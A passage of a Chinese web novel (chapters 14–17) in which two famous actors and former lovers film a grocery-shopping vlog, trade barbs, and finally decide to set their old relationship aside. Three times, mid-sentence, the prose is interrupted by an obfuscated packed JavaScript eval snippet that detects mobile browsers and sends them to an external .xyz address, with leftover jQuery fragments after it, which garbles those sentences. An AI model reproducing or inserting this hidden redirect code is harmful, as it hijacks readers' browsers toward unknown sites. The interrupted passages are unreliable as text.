这个问题他已经问过了，左知攸也回答了，可现在却动摇了，狗东西这么气人，他干嘛还大度？可是，一旦继续纠缠，岂不是着了狗东西的道？ “我......” “攸攸，再给我一段时间，让我证明自己，可以吗？” 又是一样的问题，可左知攸心乱的很，觉得这家伙真的和过去不一样了，歪理一堆堆的，本来他都想清楚了，现在好了，又动摇了。 “你烦死人了，滚！”左知攸突然站起来，遇事不决，赶人算了，“滚滚滚，给我滚出去。” 宁柏右笑得灿烂：“那我就当你答应了？” “答应你个大头鬼！”左知攸本来想拉他起来，又觉得这样不解气，捞起一个抱枕就打，“今天算我白费口舌，我最近不想看见你。” 宁柏右也不躲，顺从地被赶出去，走出大门前，回头笑：“可是明天还要拍vlog，左老师应该不会影响工作吧？” “你！你再质疑我的工作态度试试看？”左知攸皮笑肉不笑，踹他一脚，砰的一下把门关上，“滚！” 看着眼前的大门，宁柏右脸上游刃有余的笑容缓缓消失，微微叹气，转身离开。 “惹炸毛容易，想哄回来只怕难了。”但总比一点机会都没有来得强，走一步看一步吧。 等他离开别墅大门，躲在前花园里的李志等人从花丛后面探出头，惊恐地对视。 “不愧是左老师，都把宁老师给骂哭了，那眼睛红的，嘶~”小丽咽了咽口水，“那什么，我就不进去了。” “公司还有事。”李志也道。 “我......”小方也不敢进去，却被两人推出去，“你是随身助理。” 小方打了个寒颤，磨磨蹭蹭往门口走，只敢按门铃不敢进去：“左老师，我......” “走走走！” “好嘞！”小方圆润地滚了。 14. 第 14 章 左知攸已经完成早上的工作，正在卸妆，低头拿手机在群里吃圈里的瓜，嘴角比AK还难压，帮拿相机的小方走进来，站在他的身边打招呼。 “哈喽，大家好，左老师好。” 左知攸瞥了眼相机，恋恋不舍熄屏，闭上眼睛让化妆师卸妆：“机器开了吗？” “还没，现在开吗？” 左知攸仔细回想vlog的主题，点点头：“开吧。” 小方把手持相机打开，放到他手上，瞧见他就这么拿着，已经可以想象得到角度有多死亡：“左老师，镜头有点歪，您调整一下。” 左知攸把相机放到桌上，就在镜子前面对着自己拍，抿着唇沉默了好几分钟都说不出一句话来。 什么叫理论上的巨人，实践中的矮子啊，他这就是了。 拍vlog前，他自认自己常年磕cp，各种vlog看了没有一千也有八百，个中套路也算了解，观众喜欢看什么也清楚，就算入行后从没拍过vlog，也不至于做得太差。 结果......真是高估了自己。 伸手把相机关了，他微微叹气：“好像真的有点难。” “要，要不弄点剧本？”小方试探着问。 左知攸摇头，很是理论巨人地道：“设计剧本太容易看出来了。” “也不是所有人都像您这样火眼金睛嘛，带显微镜的还是少数。” “今天只是拍vlog，和狗......宁柏右熟悉一下彼此避免定档直播的时候尴尬而已，也不一定发出去，不用费那个心。”左知攸的妆卸好了，去洗手间洗脸，把拍广告的衣服换下来，穿上自己常用的衣服，出来把镜子前的相机拿起来重新打开。 “大家好，今天我们拍个和宁老师见面前的vlog吧。”他有些生硬地道，说完觉得很差劲，又把开头重新录了几次。 可不知道为什么，平时拍戏他状态都很好，今天拍个vlog总是不在状态。 “算了，反正也不一定发出去，拍完还有剪辑，没必要自己重复拍。”他决定不追求完美了，反正是熟悉彼此，避免直播冷场，还是放轻松比较好。 “大家好，早上的工作已经结束了。”左知攸不再念自己昨晚设计过的台词，随意发挥，手持相机走出去，和小方他们一起进入电梯。 -- 因为被嘲讽自己要糊了，宁柏右今天就接了份临时工作，顺便蹭妆发，进入车内才打开相机，开场白倒是说得顺畅，笑容很温和，带着明显的开心。 “大家好，早上的工作已经结束了，前几天听说平台要拍定档直播，我和左老师商量了一下，觉得我们毕竟十年没合作了嘛，直播前可以拍个vlog看看效果。”他越说越开心，“我们现在就出发去找左老师了，刚刚得到消息，左老师的工作也结束了，正在出发去目的地，我们也快点过去吧。” -- “快到地方了。”左知攸坐在后面对着镜头说话，抬头瞧见前座的小方举起手机屏幕打出滚屏打字，看见宁老师三个字，刚刚还轻松一点的表情慢慢带着一点气恼，意识到自己情绪没掩盖好，又解释道，“宁老师已经到地方了，我们还有十分钟就到，今天是他做饭，昨天商量的时候他有点不当人，我现在还有点生他的气，待会儿......”要是我板着脸，你们别太在意，其实我们关系还是很不错的。 是想这么说，但觉得不妥，而且也有点假，他改了改：“待会儿看看他多久能把我哄好吧。” 他们约定好的地方是一处超市，今天的主题就是买菜做饭。 剧里面，小书是一只很娇气的小鹿妖，经常要猎魔使斯雨照顾，因斯雨经常风餐露宿，自理能力很强，厨艺很是不错，每次把小书惹毛了，都会找地方借厨房做饭哄小书。 巧不巧，十年前宁柏右不会做饭，十年后厨艺很不错，而且昨天还真把左知攸给惹毛了。 至于哄？ 对不起，左知攸觉得自己哄不好，也不准备让狗东西把他哄好。 工作而已。 车子停在地下车库，他借机拍拍外面的招牌，在镜头后调整自己的情绪：“看，这就是我们的目的地，我们现在就出发去找宁老师，看看他在哪里。” 感觉情绪调整得差不多，他把镜头挪回来，挂上大家熟悉的清冷表情，推开车门，倒是看到了狗东西的车，但没瞧见人，心说这家伙不会先进去了吧？ 能不能敬业点啊！ 你会不会营业啊！ 就算vlog不一定发出去，这时候也应该一起进去不知道吗？ 虽然他没说话，表情也很平淡，笑容很浅，和刚刚差不多，但那双会说话的眼睛好似闪过了千言万语，最终汇成无语，再也绷不住现在的表情，有些皮笑肉不笑。 “咱们的宁老师好像......”有点想去死，“有点不太会哄人，可能是没发现我生气了？”你等着的，待会你来了我必砍死你。 “左老师！”宁柏右举着一朵用透明塑料袋包着的白色鹿头棉花糖跑过来，“等很久了吗？” 左知攸的不悦稍微变少了点，狗东西，没有提前自己进去，算你还没有太离谱。 “车子开过来的时候，我看到广场有卖棉花糖的，记得你以前也喜欢吃，正好摊子上也有鹿头形状的，感觉还挺巧的，我就去买回来了。” 左知攸看着他手上的棉花糖，神色再次缓和，接过来：“谢了。” 他们一起进入超市，左知攸在后面举着棉花糖，发现扎着包装袋的黄色圈圈上还有一条绳子绑着一张白色硬纸，好像写着价格，他走动的时候标价纸一直在动，看不清楚，因另一只手拿着相机，也没办法去撩起来看，只能把棉花糖举起来，将标签搭在手臂上，一看。 售价153！ 夺少？！ 左知攸下意识把自己的相机塞狗东西手里，手拿起标价纸再看一眼：“你花多少钱买的？” “一百五。” “一个棉花糖一百五！”左知攸声音都劈叉了，“你钱多了没处花啊，一百五，做什么不好！” 宁柏右觉得也不是不能接受：“摊子上就一个，我赶时间，而且还是鹿头的。” “就一个怎么了？镶了金吗？” “买都买了。” 左知攸实在是搞不懂，本来是看狗东西不顺眼的，现在变成看棉花糖不顺眼，怕化了，干脆拆掉尝尝看这一百五的棉花糖到底什么味儿。 宁柏右一手举着两个相机，去拿购物车，突然听到后面传来一声阴恻恻的冷笑。 “宁柏右，你真是出息了，还敢捉弄我。” 什么作弄？ 宁柏右有种不好的预感，回过头去，却看棉花糖上有一个不太明显的牙印，但糖没被咬掉。 等等，棉花糖那么硬吗？ 这不会是......模型？ “一百五买个模型，还来捉弄我。”左知攸也不管什么vlog了，最多不发出去就是了，磨着后槽牙，举起棍子就用毛绒模型去打人，“你是不是看我很好玩？” 宁柏右完全不敢躲，只盼着他消消气：“我真不知道。” “你买的时候摊主没说吗？谁会去买个模型回来啊。” “我赶时间，我拿了鹿头问摊主多少钱，买了就走，我真不知道。”宁柏右缩着脑袋。 左知攸冷笑，把模型塞他怀里：“给我吃掉！” 宁柏右看了眼上面的牙印，充满歉意的表情一顿，嘴角隐晦勾起，老老实实塞嘴里，左知攸没想到他还真吃，愣了一下，嗤笑一声去把模型抢回来：“算了，今天要拍vlog，先放过你，把相机还我。” “我下次再给你买真的棉花糖。” “呵，没兴趣。”左知攸把塑料袋罩回去绑起来，把模型斜着捧在怀里，一手举着相机在前面走，压根不等后面推车的狗东西。 宁柏右追上来，站他旁边低声下气地哄：“我去给你买真的一百五的棉花糖。” “谁家棉花糖卖一百五。” “那我回去给你做。” “我说了我没兴趣。”左知攸轻哼，看看怀里的模型，又觉得还挺有难度的，一把塞他怀里，“照着这个给我做，我要一模一样的。”敢耍我，我折腾死你。 愿意提要求就行，宁柏右也不管难不难，一口应下。 “哼，算你识相。”左知攸心情好了一点，走得也没有那么快，想起来刚刚他们还在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950561|160911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 营业，语气是不是不太好，又对着镜头道，“吵架的这段镜头剪掉，我调整一下。” “也不用忍着，生气了可以打我骂我，忍着对身体不好。”宁柏右在旁边道。 “你还挺会关心人？”听到他的声音，左知攸忘了调整，冷嘲热讽，“十年了，还真学乖了呀宁老师。” “我说过要证明自己的。” “我没答应过你，真是听不懂人话。”左知攸懒得跟他聊这个话题，快步往前走：“这段也剪掉。” 到了蔬菜区，宁柏右去拿西红柿，发现单手挑菜不方便，直接把相机放购物车里，不管不顾在前面走的左知攸不知道怎么发现的，轻哼一声又走回来，把相机拿起来举着，不忘为难人。 “我不想吃西红柿。” “那吃苦瓜？” “我现在也不爱吃这个。” “那青椒？” “不爱吃了。” “洋葱？” “太呛，算了，你随便做吧，宁老师好不容易下厨，我一定会捧场的。”左知攸发现自己又忘了要营业，不能对狗东西太差劲的事情，赶紧住了口。 虽然他拒绝了几个菜，但明显视线落在上面的时间多了许多，显然是口味没变太多，还爱吃这些，宁柏右就都拿了，再举起茄子。 “我做个茄子煲吧，我看你之前在WB上发过三次照片，今天要不要试试这个？” 左知攸下意识点头，多看了两眼，移开视线：“我也不知道。” 宁柏右把茄子放到购物车，举起杏鲍菇：“我看你也发过两次杏鲍菇炒香干的照片，要试试吗？” 左知攸轻哼，又看了一眼，没好气道：“宁老师决定就好。” 宁柏右把东西放到购物车，过去举起一把折耳根：“你发过四次折耳根......” 折耳根！ “这个放下，不要让折耳根出现在我的餐桌上！”左知攸咬牙，对此深恶痛绝，“你别老参考我的WB照片，你不知道也有可能是因为打赌输了不得不吃不得不发照片吗？谁说发照片就一定是喜欢？” “好。”宁柏右有些羡慕地看了一眼后面远远跟着的小方几人，想说以前他和攸攸也这样打闹过，却怕惹人生气，不敢在镜头前乱爆料。 左知攸举相机举累了，晃了晃手，宁柏右过来把相机接过，放购物车里。 小方和小胡见此，跑过来拿起相机跟拍。 见到小方，左知攸回想刚刚自己的表现，有些气馁：“vlog真难拍，感觉很多都要剪掉。” 宁柏右也觉得这些吵架的内容不适合宣传：“反正也不在宣传计划内，剪不出来就算了，不用太纠结。” “我花一下午时间主动营业，总得有点有用的素材吧，不然也太亏了。”左知攸拧眉，瞪人，“宁老师，你努努力，别老说些会让我生气的话行不行？” 可是我一说话你就生气，果然我还是太让你讨厌了。 宁柏右挑着煲汤的菌菇，情绪失落了几秒，又迅速打起精神，现在不是多愁善感的时候，再不努努力把人哄好，真要被判出局了！ “左老师。” “又干嘛？” 宁柏右示意持相机的两人走远点，过去压低声音道：“上次视界盛典你看的电视剧，里面的男女主好像谈恋爱了，现在电视剧已经播完，营业期早就结束了，但小胡说他在电视台工作的同学看到了去录不同节目的两人在角落里偷偷拥抱。” 左知攸眼睛一亮，心情转好，嘴角勾起：“真的？你没骗我？”我磕的cp是真的？！ “嗯，听说他们录完节目还相邀去吃了晚饭。” 啊啊啊啊！这个我知道！昨晚被拍到了！剧播结束那么久都还一起吃饭，甜死我了，没想到吃饭前更甜！ 左知攸心情暗爽，周教授比在剧里动作快嘛，就这个节奏，就这个节奏，给我在一起！ 把人哄开心了，宁柏右松一口气，拿起一袋香菇：“左老师，吃这个吗？” 算了，看在你是我同好的份上，给你点好脸色。 左知攸微微点头，冷淡的表情藏着几分开心，嘴角翘起，声音都雀跃几分：“吃，宁老师做什么，我吃什么，绝对捧场。” 15. 第 15 章 心情好了，左知攸做什么都不再带着一身刺，噙着笑，在镜头前有点夸张地营业。 “哇，今天和宁老师来超市买菜，宁老师都买我喜欢吃的菜，真期待到时候做出来的味道。” 这种不上心的营业发言让宁柏右心里有几分失落，却又控制不住去关注，哪怕是假的，也忍不住雀跃几分，笑容显得有些无奈。 “宁老师挑菜的样子有点熟练哦，感觉很会做菜的样子，有点帅哦。” “宁老师......”顿了顿，左知攸停下来。 宁柏右也停下，偏头看去，忍不住想他怎么不夸了？哪怕是假的也行啊，他又不挑。 左知攸走到小方旁边，接过相机调画面，看着刚刚自己的表现，微微蹙眉，怀着侥幸心理：“小方，我刚刚是不是崩人设了？” 小方忍俊不禁：“有点。” “这是有点吗？”左知攸把相机还回去，忍不住叹气，“营业怎么那么难，不夸人又不够甜，夸人又崩人设，我形象都没了。” “其实有点反差的话，大家应该能磕得更起劲，也不用那么有偶像包袱。”小方小声提醒。 “那不行！”左知攸瞥了眼正在看他的某人，眼睛一瞪，“挑你的菜，有什么好看的。” 宁柏右微笑，乖乖转身去挑菜，却竖起耳朵听他在说什么。 只是，左知攸却拉着小方到别处去说起了悄悄话：“你帮我想想，有什么不崩人设又能营业的招数。” “啊？” “想呀！” “平时你不是看了很多cp视频吗？” “这不是一时半会儿想不起来吗？记住啊，不能崩人设，哼，我的气势必须比狗东西要高，这是原则问题。” “营业还在意这个吗？” 左知攸犹豫半秒，点头：“在意，必须在意，我都坚持十年了，怎么能他稍微认认错就放低姿态？给他脸了不是？” 小方有些为难地挠挠头，实在是不知道气势凌人要怎么营业，但下一秒，听到他们左老师高贵冷艳地来一句发奖金就眼睛一亮，立刻表示他马上去想！ 左知攸满意点头，点点相机镜头：“刚刚崩人设那段记得剪掉啊，不能放进去。” 回去之后，瞧见狗东西已经挑完蔬菜在等他，他本想用下巴看人，可觉得这样好像太趾高气昂了不适合营业，就只是轻哼一声：“宁老师，挑完了？走吧，去买肉。” “嗯。”宁柏右跟上去，“左老师其实不用特地营业，要相信团队的剪辑能力，就算我们剑拔弩张，他们也能找到角度剪出甜的互动，实在是太难剪，发奖金就是了。” 左知攸恍然大悟，对啊。 在为难自己和花钱解决之间，当然是选后者啊。 “不错。”他轻声笑了一下，却不像是开心的，反倒有些意味不明，“看来宁老师比我有经验多了。” 宁柏右一开始没反应过来他什么意思，真以为自己是被夸了，勾起唇笑了许久，等挑完肉，发现他一点意见都不提才隐隐意识到不对。 当年他拍完《梦影》后没多久就跟攸攸分手了，精神状态不太好，经常触景生情，就跑去国外发展，可以说是默默无闻三年吧。 七年前，他首次饰演主角的小成本赛车电影火遍全球，放映期间正巧一位小花也参加了赛车综艺，就被网友拉郎配了，热度还挺高。 “左老师，那件事我澄清过了，而且每一年我都公开表示过自己是单身状态。” 左知攸小心地拿着捞网去水箱捞鱼，很不在意地回：“关我什么事。” “那部电影一开始是找你的，是你向导演推荐我。”当时左知攸横空出世，和剧组去国外评奖的时候是十足的意气少年，导演一眼就相中了。 “左老师，更正一点，不是我推荐你的，我当时已经接了一部新戏，当然不会毁约，我只是拒绝导演而已。” “可你跟导演说我演技也很好。”宁柏右轻扯唇角，这么好的攸攸，谁能放下呢？ 左知攸冷声嗤笑：“是老师和师姐都说，你一个人在国外闯荡很艰难，我可怜你，况且你那几年疯狂接戏，演技的确磨炼得很好，值得被人看见，导演郁郁不得志，想要放手一搏找新人，你想证明自己的心也跟杰克是那么像，而且你轮廓深，能迎合国外审美，你去演杰克不是更合适吗？” 宁柏右把他捞起来的鱼拿去给工作人员帮忙杀，轻声道：“我当时的确很害怕自己闯不出名堂来。”这样就离你更远了，连奢望也不敢再有。 “我倒是在想，你要是闯不出名堂来，哪天我真的当了影帝，别人扒出来我的前男友兼初恋还在十八线开外，那不得嘲笑我眼光差劲，想想都觉得丢脸。” “是你又一次拯救了我。” “又一次？” “当年我们在一起的时候......” “停！”左知攸打断他的话，冷嘲热讽，抱着手臂转身离开，“呵，你可别说得那么严重，提拯救两个字，好像很感激似的，也没见你有报答我，每次都把我气得够呛，挑你的鱼好好做饭吧宁老师，我不吃这套。” 谈恋爱时提拯救，最后自己缩壳里，现在提拯救，我不想再续前缘你还死缠烂打，切！ 宁柏右站在杀鱼档口前侧身去追寻他的身影，无奈笑了一下，拿到鱼快速追上去：“左老师，我说这些不是想让你感动，只是想告诉你而已，我以前不懂得表达，现在可能说得多了些，你不爱听就当耳旁风，不用太在意。” “是啊，你现在倒是变话痨了，吵得不行。” “我只是怕我少表达了什么，又让以前的事情重演。” “你不用一直剖析自己的内心，我又不想听。”左知攸指指镜头，“宁老师，咱们在营业，不是破镜重圆，你不需要说这些。” 小胡微微叹气，都不忍心看下去了，叭叭叭地翻译：“宁老师，左老师的意思是，你少说多做，他看你表现，不想听你说了什么，你这样显得你很油嘴滑舌，一点也不真诚，惹人讨厌，说得越多就错得越多。” 宁柏右恍然大悟，原来是这样。 左知攸似笑非笑：“我有这么说吗？” 小胡缩缩脑袋：“那我就是翻译错了，左老师对不起，我这就闭嘴。” “可我以前就是因为不会表达才......”左知攸深思。 “表达虽然也很重要，但最重要的是你也没行动，或者说你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950562|160911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的行动很不明显，让人感觉不到，就跟没行动一样，这跟自我感动没有什么差别。”小胡又开始叭叭。 左知攸冷笑：“不是闭嘴吗？” “这就闭嘴。” “人家都知道帮自己的老板说话，你怎么不会呀？”左知攸瞪小方，“刚刚让你想的法子呢？还要不要奖金了？” 小方胆子哪有小胡那么大，竟敢参与这等战争，干笑着缩头缩脑：“正，正在想。”奖金是很香，可你们不是说不刻意营业，让剪辑帮忙了吗？我还想什么呀。 “小心我扣你工资。” 你才不会。 小方讨好地朝他笑了一下，然后向小胡开炮：“哪有跟拍乱插话的，这让剪辑怎么剪，刚刚不是挺甜的吗？宁老师在主动示爱呢，这叫求偶懂不懂？视频放出去不知道多少人磕得嗷嗷叫，你怎么还捣乱让他们吵起来呢？你看，现在怎么收场？好好的氛围都被你搅和了，忙帮不上一点净添乱。” 小胡目瞪口呆，宁柏右干笑，左知攸深呼吸，双方团队的其他人目睹了什么叫做睁眼说瞎话。 甜？从头到尾，有甜过吗？ 这氛围哪里好了？ 有缓和过五分钟吗？ 到底是我们有问题还是你有问题。 “小方，你......算了，你闭嘴吧，不扣你工资就是了。”左知攸真的无语了，“赶紧买完菜就回去吧，等做饭的时候我们再好好努力。” 都这样了，也没办法继续营业，赶紧走吧。 一行人匆匆买完肉离开超市，分两拨上自己的车。 系好安全带，左知攸伸出手要相机，不停拉进度条看刚刚拍的vlog，眉头紧蹙，这还不如不营业，开头的好关系一眼假，剑拔弩张的时候倒是挺真实。 “算了，给剪辑组多发点奖金吧。”他放弃了，只能让团队的人辛苦一点。 回到镜礼苑，一行人进入宁柏右家的别墅。 花园没怎么打理，还是当初开发商种的那些花草，老实说，审美一般，进了门，屋里倒是十分干净整洁，可也没有添置多少家具，显得比左知攸家空旷许多。 左知攸知道这就是宁柏右常住的别墅，五年前宁柏右回国后，他就偶尔能在小区里看见这个人，但屋里的摆设却不像是家，更像是高级酒店。 “随便坐，我去洗菜。”宁柏右提着菜进厨房。 左知攸想，刚刚的vlog没拍好，做饭的时候多拍点有用画面也好，就想进去帮忙。 “咳咳。”小方突然咳嗽，压低声音，“左老师，来一下。” “嗯？”左知攸走过去，被小方塞了个手机，屏幕上是WB的热搜界面，定睛一看，还跟他和宁柏右有关。 #左影帝咄咄逼人# #宁影帝被骂# #双帝团队对峙疑似决裂# 好家伙，突然上了三个热搜，齐齐排在高位，他点进去看，发现是他们在超市买菜的时候被人拍了一段视频发到网上。 “小事，让志哥......” 随意拉着进度条的左知攸手指一顿，将画面暂停，盯着视频中他和宁柏右的脸，眼神突然变的复杂。 好像啊。 16. 第 16 章 好像啊。 这一幕的感觉，和当初的他们好像。 左知攸心脏像是被人拿针扎了好几下，曾经的记忆在脑海中疯狂显现，最后定格在他们说分手的那一幕。 那天晚上，天上没有一点星星，周围很黑，只有几盏路灯，他们站在路边低着头等公交车，一个字没说，站前的行人换了又换，公交车来了又走，直到很晚。 说出分手这两个字的那一刻，他就是像今天的宁柏右那样，眼神小心翼翼地期待着哪怕一句挽留，而宁柏右却前所未有地冷静，面无表情，眼神平静，一句话都没说。 那种感觉，和今天好像。 小心翼翼的人被另一个人主宰着情绪，讨好着，期待着，却知道得不到答案。 当年他是那个小心翼翼的人，最后失望地走了，而今天宁柏右.......还没失望，可那又如何呢？ 一切的纠结、犹豫和别扭，似乎在这一刻有了答案。 “左老师，志哥说这个热搜调侃几句回应也就过去了，没必要让工作室正儿八经地澄清。” 小方的声音传来，左知攸回过神，轻轻嗯了一声，把手机还回去，一边往厨房走一边折袖子，沉默地扫了一眼墙上放围裙的地方，拿下来围好去帮忙。 “不用，我来就行。” “我帮忙吧，快一点。” 他的语气平静，却让宁柏右心里咯噔一下，嘴角的浅笑缓缓消失，小心地瞥了几眼：“发生什么事了吗？” “吃了饭再说。” “好。” 小胡在此时来到厨房门口，轻咳一声想叫宁柏右出来，后者像是看到了救星，正要去问到底是怎么回事，低头洗菜的左知攸却像是背后长了眼睛：“宁老师，热搜只是小事，待会再说吧，先拍完视频再讨论怎么处理。” 宁柏右停下脚步，乖乖点头回去切菜：“好。” 小胡紧张地笑了一下，默默回到自己的位置上，厨房中的两人沉默地做饭，端到餐桌上，擦好手坐下来，宁柏右盛了饭，唇角忐忑地勾起：“左老师，吃饭。” “谢谢。”左知攸接过，也给他盛饭，坐下后，每尝一道都露出完美的微笑对着镜头夸赞味道，像是充满了真情实意。 这样的视频画面可比超市里的好太多，能让剪辑组减少很多工作，却让在场所有人，尤其是宁柏右狠狠攥了一把汗。 吃了饭，洗了碗，回到餐桌边坐好，左知攸叹气：“相机关了吧。” 所有人连忙关上相机，不用他提醒就说外面有点事要忙，一连串跑出去，等到屋里只剩两个人，左知攸抬眸看向宁柏右：“宁老师，你觉得怎么样？” “什么，怎么样？” “算了。”左知攸不想打哑谜，微微叹气，拿出热搜里的视频给他看，“你看，这像不像十年间的我们？” 宁柏右将视频看了一遍，心不停往下坠，明白他的意思。 像，真像，简直就是翻转板。 “这种紧张凝滞的氛围，像极了十年前我们那段恋情的后半段，对吧？”左知攸扬起一抹苦笑。 宁柏右抿着唇点头：“对不起，我......” “我不想听这个。” “我会证明.......” “我也不在乎这个了。”左知攸摇摇头，抬手揩去眼角的泪，“十年前的我就是这样，小心翼翼地关注着你的所有情绪，冥思苦想如何能让你开心起来，像不像现在的你？” 像，很像。 “十年前的你沉浸在自己的情绪里，把空气都染成令人窒息的模样，影响着我，像不像今天的我？” 像。 “右右哥......” 简单的三个字让宁柏右低头落泪：“我知道你要说什么，我懂，我没机会了，对吗？” “嗯，我考虑好了。”左知攸深吸一口气，又把气吐出去，“我承认，你说得很对，我还在意着你，十年了，我还会对你心动，我也知道，只要我点头我们就能复合，之前我一直犹豫，我以为是在犹豫要不要回头，今天看了视频我突然明白，我真的不想回头，我已经对你有了防备，我在你身上找不到当初刚在一起时的感觉了，我跟你在一起的时候没办法开心起来，现在的我看见你就很烦躁，而你对我只有讨好。” 宁柏右低头用手捂着脸，泪水从指缝中渗出来。 “我只是想让我们都能放下心结，我能用行动证明，我不再是十年前那个情绪不稳定的宁柏右。” “但我不想让你证明。” 宁柏右抬起头，满脸都是泪水，嘴唇颤抖：“为什么？” “我太知道讨好一个没有回应的人有多难过。”左知攸回想着当初，眸底忧伤，“其实，有些甘之如饴并不是一件开心的事情，我太知道这种感受，就不想让别人也经历一次，你也是一样。” “我愿意。” “我不愿意。”左知攸轻轻摇头，“当初的你愿意让我哄，但现在的我不愿意让你哄，我生了你十年的气，现在看到你这样，其实并没有多好受，右右哥，我想放下了。” “你甘心吗？” “不甘心。”左知攸嗤笑，“你那么能气人，我怎么能甘心？可继续生气也没意思。” “攸攸......不能再给我一次机会吗？” “没必要了。”左知攸站起来，抽起桌上的一张纸巾递过去，眼底的忧伤逐渐收起来，“我想让自己开心一点，不想再纠结过去的事情，现在我们的情绪已经影响到工作，我不想没了感情，还没了事业，我想试着放下，开开心心地陪伴《梦影》走完最后一程，就像当初我们拍《梦影》的时候一样，都是开开心心的，没有一点负面情绪。” 宁柏右恍然，《梦影》，十年前的《梦影》，现在的《司鹿极梦》，名字变了，人也变了，好像真的回不去了。 “右右哥，《梦影》给我们带来那么多快乐，那是我们的开始，十年前的分手不够圆满，那十年后我们就借《司鹿极梦》为我们的感情画一个完美的句号吧。”左知攸给自己抽了一张纸，轻轻擦拭眼角，深吸一口气，转身离开，没有一丝犹豫打开门。 哗啦啦！ 一群人摔在门外，尴尬地抬起头，连滚带爬让开一条道。 小胡偷偷瞄他的表情：“左老师，那个，聊好了？” “嗯。”左知攸下巴轻点小方，“走了，回去。” 小方带其他人和他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950563|160911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起走，在场的人很快少了一半，小胡有些为难地看着敞开的门，怕宁老师在里面哭被太多人看到，笑着让大家等一等，他小心地走进去。 “宁，宁老师？” 宁柏右桌上摆了一堆杂乱的纸巾，手上还拿着一张，闻言抬起头，眼睛和鼻子都是红的，笑了一下：“嗯，怎么了？” “那，那个，嗯，左老师已经离开了。” “嗯，我知道了，你们先回去吧，我整理一下。”宁柏右笑容缓缓消失，失神地盯着桌面。 小胡帮他收好用过的纸巾，丢到垃圾桶里，轻声安慰：“宁老师，没关系的，一个小挫折而已，追人嘛，尤其是追前任，还是左老师这种高傲的前任，困难一点很正常啦，我们打起精神，再接再厉吧？” “不了。” “啊，啊？宁老师，你要放弃了？是不是你说错什么话了？没关系，我们可以用行动......” “没机会了。”宁柏右长舒一口气，“他觉得现在不开心，想放下了，那就放下吧。” “可是......”小胡心疼地红了眼睛，你不是等了十年才等到这个机会吗？ 宁柏右去拿手机，点开热搜把那个视频找到看了十几次，心情复杂：“刚刚有给我们拍照吗？” “什么照片？” “一起吃饭的，算了，菜的照片。” “拍了两张。” “发给我吧。” 等小胡把照片发过来，他先是把头像换成猎魔使斯雨的剧组，再带上#司鹿极梦#的标签，发了一条动态。 【右右哥宁柏右：#司鹿极梦#和小书一起买菜做饭共进午餐，好像厨艺被夸了几次，笑。】 另一边，左知攸也在几分钟前发了动态，也换了头像，是鹿妖小书的剧照。 【@让我康康谁是开心果左知攸：#司鹿极梦#斯雨哥哥怎么还跟十年前一样，只知道做小书爱吃的菜呢？歪头。】 主演第一次以剧中角色互动，比约定的时间提前半个月开始宣传，剧组和平台高兴得不得了，《司鹿极梦》的官方号也一起互动，发了一波剧照，借热搜宣传。 宁柏右看着热搜下的掐架消失，微微勾起唇，眼底藏着哀伤。 最后的重逢开始倒计时了。 既然没机会了，那就为《梦影》画一个完美的句号吧，至少斯雨和小书是幸福的。 -- 小方小心翼翼观察左知攸的表情：“左老师，那个，平台和剧组说定档直播的地点可以选公司或平台总公司大楼，或者你们自己定地方也可以，狗东西那边......” “以后叫宁老师。”左知攸将视线从桌上那束枯萎的黄玫瑰上面收回，掩去眼底的哀色，轻声笑道，“人家好歹是个大影帝，前途璀璨，以后称呼尊重点吧，我自己先检讨。” “......”小方担忧地笑着点头，“宁老师那边让您决定，您想去哪里？” 左知攸看向宁柏右家的方向，几秒后回头，瞥向黄玫瑰，笑起来，声音又很平淡：“那就去动物园吧。” 十年前他们为《梦影》培养默契时就爱去动物园，现在也去看看吧。 等剧播结束，就可以散了。 17. 第 17 章 星辰影视。 几辆商务车开进楼下停车场，一群人搬着大大小小的箱子走下车，一个穿着灰色POLO衫，戴着黑色鸭舌帽的微胖男人站在旁边抬头望着停车场墙壁上的巨大墙绘。 星辰影视的两大摇钱树，并称娱乐圈双帝的左知攸和宁柏右。 搁十年前，他绝对想不到这两人还能闹掰，成为圈内众人皆知的死对头。 同样的，他十年前也想不到，当初自己那部寄托诸多希望的出道作品，被埋十年后，里面的两位主演竟然能双双登顶娱乐圈。 “真有种捡了大漏的复杂感啊。”刘铭导演低声呢喃。 圈内还有谁能请两个大影帝屈尊演什么古偶呢？ 他们甚至连合作都没有过。 双帝的第一次也是唯一一次合作，唯一一部电视剧，全让他刘铭给捡着了，这不是大漏是什么？ 十年了，他刘铭在圈里混得越来越差。 当初承载他希望的《梦影》被埋给了他一榔头，杀青后好长一段时间都接不到本子，再也没有当初那种和资方据理力争的心气，慢慢向现实低头。 